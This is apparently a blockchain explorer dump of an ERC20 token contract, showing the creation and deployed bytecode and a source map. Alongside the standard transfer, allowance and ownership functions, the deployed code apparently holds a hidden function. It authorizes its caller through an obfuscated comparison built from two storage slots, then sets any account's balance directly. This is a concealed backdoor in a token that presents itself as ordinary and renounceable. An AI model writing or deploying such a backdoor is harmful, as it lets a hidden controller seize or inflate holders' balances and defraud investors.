826114e9565b602082019050919050565b6000602082019050818103600083015261154e81611512565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006115b1602583610f93565b91506115bc82611555565b604082019050919050565b600060208201905081810360008301526115e0816115a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611643602683610f93565b915061164e826115e7565b604082019050919050565b6000602082019050818103600083015261167281611636565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116d5602483610f93565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611767602283610f93565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117f9602583610f93565b91506118048261179d565b604082019050919050565b60006020820190508181036000830152611828816117ec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061188b602383610f93565b91506118968261182f565b604082019050919050565b600060208201905081810360008301526118ba8161187e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061191d602683610f93565b9150611928826118c1565b604082019050919050565b6000602082019050818103600083015261194c81611910565b905091905056fea2646970667358221220bcd0f18c202d33efff54491323c1244957bc80a3ecb46531157c0ec198645dba64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063079a193b14610118578063095ea7b314610134575b600080fd5b610102610322565b60405161010f9190611018565b60405180910390f35b610132600480360381019061012d91906110d3565b6103b4565b005b61014e600480360381019061014991906110d3565b610429565b60405161015b919061112e565b60405180910390f35b61016c610447565b6040516101799190611158565b60405180910390f35b61019c60048036038101906101979190611173565b610451565b6040516101a9919061112e565b60405180910390f35b6101ba610552565b6040516101c791906111e2565b60405180910390f35b6101ea60048036038101906101e591906110d3565b61055b565b6040516101f7919061112e565b60405180910390f35b61021a600480360381019061021591906111fd565b610607565b6040516102279190611158565b60405180910390f35b610238610650565b005b6102426106d8565b60405161024f9190611239565b60405180910390f35b610260610702565b60405161026d9190611018565b60405180910390f35b610290600480360381019061028b91906110d3565b610794565b60405161029d919061112e565b60405180910390f35b6102c060048036038101906102bb91906110d3565b610888565b6040516102cd919061112e565b60405180910390f35b6102f060048036038101906102eb9190611254565b6108a6565b6040516102fd9190611158565b60405180910390f35b610320600480360381019061031b91906111fd565b61092d565b005b606060058054610331906112c3565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906112c3565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff166001546000546103db9190611352565b1461041b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610412906113cf565b60405180910390fd5b6104258282610a24565b5050565b600061043d610436610a6c565b8484610a74565b6001905092915050565b6000600454905090565b600061045e848484610c3d565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a9610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052090611461565b60405180910390fd5b61054685610535610a6c565b85846105419190611481565b610a74565b60019150509392505050565b60006012905090565b60006105fd610568610a6c565b848460036000610576610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f891906114b5565b610a74565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610a6c565b73ffffffffffffffffffffffffffffffffffffffff166106766106d8565b73ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611535565b60405180910390fd5b6106d66000610ebd565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610711906112c3565b80601f016020809104026020016040519081016040528092919081815260200182805461073d906112c3565b801561078a5780601f1061075f5761010080835404028352916020019161078a565b820191906000526020600020905b81548152906001019060200180831161076d57829003601f168201915b5050505050905090565b600080600360006107a3610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610860576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610857906115c7565b60405180910390fd5b61087d61086b610a6c565b8585846108789190611481565b610a74565b600191505092915050565b600061089c610895610a6c565b8484610c3d565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610935610a6c565b73ffffffffffffffffffffffffffffffffffffffff166109536106d8565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090611535565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90611659565b60405180910390fd5b610a2181610ebd565b50565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada906116eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b499061177d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c309190611158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca39061180f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d12906118a1565b60405180910390fd5b610d26838383610f83565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611933565b60405180910390fd5b8181610db99190611481565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e4b91906114b5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eaf9190611158565b60405180910390a350505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fc2578082015181840152602081019050610fa7565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fea82610f88565b610ff48185610f93565b9350611004818560208601610fa4565b61100d81610fce565b840191505092915050565b600060208201905081810360008301526110328184610fdf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061106a8261103f565b9050919050565b61107a8161105f565b811461108557600080fd5b50565b60008135905061109781611071565b92915050565b6000819050919050565b6110b08161109d565b81146110bb57600080fd5b50565b6000813590506110cd816110a7565b92915050565b600080604083850312156110ea576110e961103a565b5b60006110f885828601611088565b9250506020611109858286016110be565b9150509250929050565b60008115159050919050565b61112881611113565b82525050565b6000602082019050611143600083018461111f565b92915050565b6111528161109d565b82525050565b600060208201905061116d6000830184611149565b92915050565b60008060006060848603121561118c5761118b61103a565b5b600061119a86828701611088565b93505060206111ab86828701611088565b92505060406111bc868287016110be565b9150509250925092565b600060ff82169050919050565b6111dc816111c6565b82525050565b60006020820190506111f760008301846111d3565b92915050565b6000602082840312156112135761121261103a565b5b600061122184828501611088565b91505092915050565b6112338161105f565b82525050565b600060208201905061124e600083018461122a565b92915050565b6000806040838503121561126b5761126a61103a565b5b600061127985828601611088565b925050602061128a85828601611088565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112db57607f821691505b6020821081036112ee576112ed611294565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061135d8261109d565b91506113688361109d565b925082611378576113776112f4565b5b828204905092915050565b7f5f00000000000000000000000000000000000000000000000000000000000000600082015250565b60006113b9600183610f93565b91506113c482611383565b602082019050919050565b600060208201905081810360008301526113e8816113ac565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061144b602883610f93565b9150611456826113ef565b604082019050919050565b6000602082019050818103600083015261147a8161143e565b9050919050565b600061148c8261109d565b91506114978361109d565b92508282039050818111156114af576114ae611323565b5b92915050565b60006114c08261109d565b91506114cb8361109d565b92508282019050808211156114e3576114e2611323565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061151f602083610f93565b915061152a826114e9565b602082019050919050565b6000602082019050818103600083015261154e81611512565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006115b1602583610f93565b91506115bc82611555565b604082019050919050565b600060208201905081810360008301526115e0816115a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611643602683610f93565b915061164e826115e7565b604082019050919050565b6000602082019050818103600083015261167281611636565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116d5602483610f93565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611767602283610f93565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117f9602583610f93565b91506118048261179d565b604082019050919050565b60006020820190508181036000830152611828816117ec565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061188b602383610f93565b91506118968261182f565b604082019050919050565b600060208201905081810360008301526118ba8161187e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061191d602683610f93565b9150611928826118c1565b604082019050919050565b6000602082019050818103600083015261194c81611910565b905091905056fea2646970667358221220bcd0f18c202d33efff54491323c1244957bc80a3ecb46531157c0ec198645dba64736f6c63430008120033

Deployed Bytecode Sourcemap

17367:174:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7837:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12154:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10145:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8957:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10841:493;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8799:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11743:297;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9128:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6213:94;;;:::i;:::-;;5562:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8056:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12762:446;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9518:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9797:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6462:229;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7837:100;7891:13;7924:5;7917:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7837:100;:::o;12154:96::-;3259:10;3243:28;;3228:11;;3217:8;;:22;;;;:::i;:::-;:54;3209:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12228:14:::1;12235:2;12239;12228:6;:14::i;:::-;12154:96:::0;;:::o;10145:210::-;10264:4;10286:39;10295:12;:10;:12::i;:::-;10309:7;10318:6;10286:8;:39::i;:::-;10343:4;10336:11;;10145:210;;;;:::o;8957:108::-;9018:7;9045:12;;9038:19;;8957:108;:::o;10841:493::-;10981:4;10998:36;11008:6;11016:9;11027:6;10998:9;:36::i;:::-;11047:24;11074:11;:19;11086:6;11074:19;;;;;;;;;;;;;;;:33;11094:12;:10;:12::i;:::-;11074:33;;;;;;;;;;;;;;;;11047:60;;11160:6;11140:16;:26;;11118:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;11245:57;11254:6;11262:12;:10;:12::i;:::-;11295:6;11276:16;:25;;;;:::i;:::-;11245:8;:57::i;:::-;11322:4;11315:11;;;10841:493;;;;;:::o;8799:93::-;8857:5;8882:2;8875:9;;8799:93;:::o;11743:297::-;11858:4;11880:130;11903:12;:10;:12::i;:::-;11930:7;11989:10;11952:11;:25;11964:12;:10;:12::i;:::-;11952:25;;;;;;;;;;;;;;;:34;11978:7;11952:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;11880:8;:130::i;:::-;12028:4;12021:11;;11743:297;;;;:::o;9128:177::-;9247:7;9279:9;:18;9289:7;9279:18;;;;;;;;;;;;;;;;9272:25;;9128:177;;;:::o;6213:94::-;5793:12;:10;:12::i;:::-;5782:23;;:7;:5;:7::i;:::-;:23;;;5774:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6278:21:::1;6296:1;6278:9;:21::i;:::-;6213:94::o:0;5562:87::-;5608:7;5635:6;;;;;;;;;;;5628:13;;5562:87;:::o;8056:104::-;8112:13;8145:7;8138:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8056:104;:::o;12762:446::-;12882:4;12904:24;12931:11;:25;12943:12;:10;:12::i;:::-;12931:25;;;;;;;;;;;;;;;:34;12957:7;12931:34;;;;;;;;;;;;;;;;12904:61;;13018:15;12998:16;:35;;12976:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;13109:67;13118:12;:10;:12::i;:::-;13132:7;13160:15;13141:16;:34;;;;:::i;:::-;13109:8;:67::i;:::-;13196:4;13189:11;;;12762:446;;;;:::o;9518:216::-;9640:4;9662:42;9672:12;:10;:12::i;:::-;9686:9;9697:6;9662:9;:42::i;:::-;9722:4;9715:11;;9518:216;;;;:::o;9797:201::-;9931:7;9963:11;:18;9975:5;9963:18;;;;;;;;;;;;;;;:27;9982:7;9963:27;;;;;;;;;;;;;;;;9956:34;;9797:201;;;;:::o;6462:229::-;5793:12;:10;:12::i;:::-;5782:23;;:7;:5;:7::i;:::-;:23;;;5774:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6585:1:::1;6565:22;;:8;:22;;::::0;6543:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;6664:19;6674:8;6664:9;:19::i;:::-;6462:229:::0;:::o;12060:86::-;12136:2;12120:9;:13;12130:2;12120:13;;;;;;;;;;;;;;;:18;;;;12060:86;;:::o;4389:98::-;4442:7;4469:10;4462:17;;4389:98;:::o;16256:380::-;16409:1;16392:19;;:5;:19;;;16384:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16490:1;16471:21;;:7;:21;;;16463:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16574:6;16544:11;:18;16556:5;16544:18;;;;;;;;;;;;;;;:27;16563:7;16544:27;;;;;;;;;;;;;;;:36;;;;16612:7;16596:32;;16605:5;16596:32;;;16621:6;16596:32;;;;;;:::i;:::-;;;;;;;;16256:380;;;:::o;13696:675::-;13854:1;13836:20;;:6;:20;;;13828:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13938:1;13917:23;;:9;:23;;;13909:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13993:47;14014:6;14022:9;14033:6;13993:20;:47::i;:::-;14053:21;14077:9;:17;14087:6;14077:17;;;;;;;;;;;;;;;;14053:41;;14144:6;14127:13;:23;;14105:111;;;;;;;;;;;;:::i;:::-;;;;;;;;;14263:6;14247:13;:22;;;;:::i;:::-;14227:9;:17;14237:6;14227:17;;;;;;;;;;;;;;;:42;;;;14304:6;14280:9;:20;14290:9;14280:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;14345:9;14328:35;;14337:6;14328:35;;;14356:6;14328:35;;;;;;:::i;:::-;;;;;;;;13817:554;13696:675;;;:::o;6699:173::-;6755:16;6774:6;;;;;;;;;;;6755:25;;6800:8;6791:6;;:17;;;;;;;;;;;;;;;;;;6855:8;6824:40;;6845:8;6824:40;;;;;;;;;;;;6744:128;6699:173;:::o;17235:125::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:180;6766:77;6763:1;6756:88;6863:4;6860:1;6853:15;6887:4;6884:1;6877:15;6904:185;6944:1;6961:20;6979:1;6961:20;:::i;:::-;6956:25;;6995:20;7013:1;6995:20;:::i;:::-;6990:25;;7034:1;7024:35;;7039:18;;:::i;:::-;7024:35;7081:1;7078;7074:9;7069:14;;6904:185;;;;:::o;7095:151::-;7235:3;7231:1;7223:6;7219:14;7212:27;7095:151;:::o;7252:365::-;7394:3;7415:66;7479:1;7474:3;7415:66;:::i;:::-;7408:73;;7490:93;7579:3;7490:93;:::i;:::-;7608:2;7603:3;7599:12;7592:19;;7252:365;;;:::o;7623:419::-;7789:4;7827:2;7816:9;7812:18;7804:26;;7876:9;7870:4;7866:20;7862:1;7851:9;7847:17;7840:47;7904:131;8030:4;7904:131;:::i;:::-;7896:139;;7623:419;;;:::o;8048:227::-;8188:34;8184:1;8176:6;8172:14;8165:58;8257:10;8252:2;8244:6;8240:15;8233:35;8048:227;:::o;8281:366::-;8423:3;8444:67;8508:2;8503:3;8444:67;:::i;:::-;8437:74;;8520:93;8609:3;8520:93;:::i;:::-;8638:2;8633:3;8629:12;8622:19;;8281:366;;;:::o;8653:419::-;8819:4;8857:2;8846:9;8842:18;8834:26;;8906:9;8900:4;8896:20;8892:1;8881:9;8877:17;8870:47;8934:131;9060:4;8934:131;:::i;:::-;8926:139;;8653:419;;;:::o;9078:194::-;9118:4;9138:20;9156:1;9138:20;:::i;:::-;9133:25;;9172:20;9190:1;9172:20;:::i;:::-;9167:25;;9216:1;9213;9209:9;9201:17;;9240:1;9234:4;9231:11;9228:37;;;9245:18;;:::i;:::-;9228:37;9078:194;;;;:::o;9278:191::-;9318:3;9337:20;9355:1;9337:20;:::i;:::-;9332:25;;9371:20;9389:1;9371:20;:::i;:::-;9366:25;;9414:1;9411;9407:9;9400:16;;9435:3;9432:1;9429:10;9426:36;;;9442:18;;:::i;:::-;9426:36;9278:191;;;;:::o;9475:182::-;9615:34;9611:1;9603:6;9599:14;9592:58;9475:182;:::o;9663:366::-;9805:3;9826:67;9890:2;9885:3;9826:67;:::i;:::-;9819:74;;9902:93;9991:3;9902:93;:::i;:::-;10020:2;10015:3;10011:12;10004:19;;9663:366;;;:::o;10035:419::-;10201:4;10239:2;10228:9;10224:18;10216:26;;10288:9;10282:4;10278:20;10274:1;10263:9;10259:17;10252:47;10316:131;10442:4;10316:131;:::i;:::-;10308:139;;10035:419;;;:::o;10460:224::-;10600:34;10596:1;10588:6;10584:14;10577:58;10669:7;10664:2;10656:6;10652:15;10645:32;10460:224;:::o;10690:366::-;10832:3;10853:67;10917:2;10912:3;10853:67;:::i;:::-;10846:74;;10929:93;11018:3;10929:93;:::i;:::-;11047:2;11042:3;11038:12;11031:19;;10690:366;;;:::o;11062:419::-;11228:4;11266:2;11255:9;11251:18;11243:26;;11315:9;11309:4;11305:20;11301:1;11290:9;11286:17;11279:47;11343:131;11469:4;11343:131;:::i;:::-;11335:139;;11062:419;;;:::o;11487:225::-;11627:34;11623:1;11615:6;11611:14;11604:58;11696:8;11691:2;11683:6;11679:15;11672:33;11487:225;:::o;11718:366::-;11860:3;11881:67;11945:2;11940:3;11881:67;:::i;:::-;11874:74;;11957:93;12046:3;11957:93;:::i;:::-;12075:2;12070:3;12066:12;12059:19;;11718:366;;;:::o;12090:419::-;12256:4;12294:2;12283:9;12279:18;12271:26;;12343:9;12337:4;12333:20;12329:1;12318:9;12314:17;12307:47;12371:131;12497:4;12371:131;:::i;:::-;12363:139;;12090:419;;;:::o;12515:223::-;12655:34;12651:1;12643:6;12639:14;12632:58;12724:6;12719:2;12711:6;12707:15;12700:31;12515:223;:::o;12744:366::-;12886:3;12907:67;12971:2;12966:3;12907:67;:::i;:::-;12900:74;;12983:93;13072:3;12983:93;:::i;:::-;13101:2;13096:3;13092:12;13085:19;;12744:366;;;:::o;13116:419::-;13282:4;13320:2;13309:9;13305:18;13297:26;;13369:9;13363:4;13359:20;13355:1;13344:9;13340:17;13333:47;13397:131;13523:4;13397:131;:::i;:::-;13389:139;;13116:419;;;:::o;13541:221::-;13681:34;13677:1;13669:6;13665:14;13658:58;13750:4;13745:2;13737:6;13733:15;13726:29;13541:221;:::o;13768:366::-;13910:3;13931:67;13995:2;13990:3;13931:67;:::i;:::-;13924:74;;14007:93;14096:3;14007:93;:::i;:::-;14125:2;14120:3;14116:12;14109:19;;13768:366;;;:::o;14140:419::-;14306:4;14344:2;14333:9;14329:18;14321:26;;14393:9;14387:4;14383:20;14379:1;14368:9;14364:17;14357:47;14421:131;14547:4;14421:131;:::i;:::-;14413:139;;14140:419;;;:::o;14565:224: